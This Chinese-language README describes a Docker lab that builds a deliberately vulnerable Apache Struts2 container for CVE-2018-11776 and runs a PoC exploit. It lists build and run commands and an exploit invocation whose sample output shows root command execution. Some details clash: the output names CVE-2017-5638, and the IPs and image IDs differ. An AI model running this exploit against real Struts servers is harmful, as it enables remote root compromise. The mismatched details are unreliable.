
本项目基于 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC。由于按原 README 描述进行容器构建和操作步骤无法正常工作,因此创建了此分支。使用的 PoC 漏洞利用代码来自 Rapid7。
特别鸣谢:
hook-s3c (github.com/hook-s3c), Twitter 上的 @hook_s3c
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
来自 Semmle 的 Man Yue Mo 披露了一个 Struts2 远程代码执行(RCE)漏洞,该漏洞通过编码在请求 URL 路径中的有效载荷进行传递。
受影响的版本为 2.3 至 2.3.34,以及 2.5 至 2.5.16。
默认配置不易受攻击。但本容器以及许多其他容器容易受到攻击。
最好通过 Dockerfile 构建容器,因为你可以清晰地看到构建过程中添加了什么。
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
使用以下命令查找新容器:
docker images
输出应类似于以下内容,从中你可以获取镜像 ID。
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
使用以下命令构建并启动容器:
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
请确保所有入站/出站防火墙均允许你之前指定的端口(8080),然后使用以下命令对目标执行漏洞利用:
python struts.py http://192.168.2.188:8080 'id'
你的输出应类似于以下内容。
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)